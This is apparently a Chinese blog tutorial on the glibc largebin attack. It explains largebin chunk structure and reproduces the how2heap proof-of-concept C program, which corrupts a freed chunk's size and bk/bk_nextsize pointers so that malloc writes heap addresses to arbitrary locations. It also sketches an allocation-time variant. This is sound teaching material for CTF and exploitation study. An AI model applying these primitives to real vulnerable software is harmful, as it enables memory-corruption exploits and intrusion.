Largebin_attack初探

Largebin相关知识

largebin 是指在 glibc 的堆管理中用于管理较大的堆块的数据结构。x64下largebin 的范围是 size > 0x400(x64)如果是libc 2.27及以上,其实0x400到不了largebin,而是tcache的范围,所以,在libc 2.27中,一般使用0x420,但是如果可以将0x400的tcache填满,也是可以申请到largebin的

large bin采取了分段的存储,比如第一个范围就是0x400到(48<<6),即0x400到0xc00,而其中,每个链表之间大小差为(1<<6)=0x40,结果如下:

1

如何获得largebin

我们释放一个大chunk时,它不会直接进入largebin,而是先进入unsortedbin中,接下来如果我们申请一个更大的堆块,这个释放进unsortedbin的chunk无法满足需求时,就会被释放进largebin

largebin内部:

因为largebin,一个bin内部并不是一个size,所以需要fd_nextsize与bk_nextsize将其串起来。

首先fd_nextsize指向比他小的最大heap,而bk_nextsize指向比他大的最小的heap,最后将两条链条首尾相连。而fd和bk和其原来的任务一样,都是指向和其大小相同的堆块

2

如果bin里的大小都一样的话,那么第一个释放的堆块作为此bin链的链首(这个和fastbin和tcache都不一样),fd_nextsize与bk_nextsize都指向自己,其余的大小相同的堆块free的时候,fd_nextsize与bk_nextsize就都为0了。

而fd和bk与原本作用一样,指向上一个释放的堆块,但是,这里的链头始终为第一个释放的chunk。

看个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x40)
add(0x480) #1
add(0x40)

add(0x480) # 3
add(0x40)
add(0x480) #5
add(0x40)

free(1)
free(3)
free(5)

add(0x490)

建了3个largebin中间建chunk防止free后合并,先将chunk1释放随后是3和5,此时再申请一个size>0x480的chunk,这三个chunk都会被放进largebin中,那么根据上述情况,此时largebin的链首是chunk1,接着是chunk3,最后是chunk23

5

6

链首chunk的fd_nextsize和bk_nextsize都指向自己,其余的chunk对应位置为0

largebin_attack

插入时利用

glibc2.29 及以下版本,可以利用 Large Bin Attack 来写两个地址。

但是在 glibc2.30 及以上版本中,只能利用 Large Bin Attack 来写一个地址。

这里拿how2heap上的例子,参考hollk师傅的文章:https://blog.csdn.net/qq_41202237/article/details/112825556

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// gcc -g -no-pie largebin.c -o largebin
#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);

free(p1);
free(p2);

void* p4 = malloc(0x90);

free(p3);

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

malloc(0x90);

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

编译好运行一下看看:

7

stack_var1和stack_var2被写入了同一个较大的数,是不是感觉和unsortedbin_attack有点相似呢

下面看这一过程是如何被实现的

先在23行下断点,也就是申请p4之前

8

p1和p2被送进unsortedbin中

接着断在25,申请了p4

9

这里的过程直接引用hollk师傅写的:

1
2
3
4
5
1.从unsorted bin中拿出最后一个chunk(P1)
2.把这个chunk(P1)放进small bin中,并标记这个small bin中有空闲的chunk
3.从unsorted bin中拿出最后一个chunk(P2)(P1被拿走之后P2就作为最后一个chunk了)
4.把这个chunk(P2)放进large bin中,并标记这个large bin有空先的chunk
5.现在unsorted bin中为空,从small bin中的P1中分割出一个小chunk,满足请求的P4,并把剩下的chunk(0x330 - 0xa0后记P1_left)放回unsorted bin

接着释放p3进unsortedbin,为让其进largebin做准备

接下来修改p2

1
2
3
4
5
1.size部分由原来的0x411修改成0x3f1(要小于进入largebin的p3的size)
2.fd部分置空(不超过一个地址位长度的数据都可以)
3.bk由0x7ffff7dd1f68修改成了stack_var1_addr - 0x10
4.fd_nextsize置空(不超过一个地址位长度的数据都可以)
5.bk_nextsize修改成stack_var2_addr - 0x20

10

这个图很直观地体现了p2,stack1,stack2之间的关系

1
2
P2 --> bk --> fd = stack_var1_addr
P2 --> bk_nextsize --> fd_nextsize = stack_var2_addr

接下来malloc(0x90)和之前一样,把p3挂进largebin

看一下glibc2.23中malloc.c源码的3565行

11

victim是要被放进的p3,fwd是原来的p2,我们希望走else内的语句,那么就需要让p3.size > p2.size

1
2
3
p3 ->bk_nextsize = p2 ->bk_nextsize = stack2-0x20
p2 ->bk_nextsize = p3
p3->bk_nextsize->fd_nextsize = stack2 = p3

走完这个流程也就把p3的堆地址的值写进了stack2的地址中

接下来制定bk,bck是p2的bk指针

12

1
2
3
4
p3->bk = p2 -> bk
p3->fd = p2
p2 -> bk =stack1-0x10 = p3
p2 -> bk ->fd = stack1 = p3

走完这个过程也就把p3的堆地址的值写进了stack1的地址中

到此&stack1和&stack2都被写进了一个堆地址p3的头指针

申请时利用

上述情况是插入时的利用,可以向任意两个地址写入堆地址

我们还可以在申请时利用

在申请largebin的时候,从最小的heap开始,利用bk_nextsize寻找合适的heap,如果找到了合适的heap,就将其取出,那么如果我们将bk_nextsize指向其他地方,就可以申请到其他地方。看下源码:

13

那么有两种方式:

1
2
3
直接将bk_nextsize指向B的头

将bk_nextsize指向B的内容

第二种还可以利用unlink

15

此时申请large bin ,就会得到fake B的内存区域。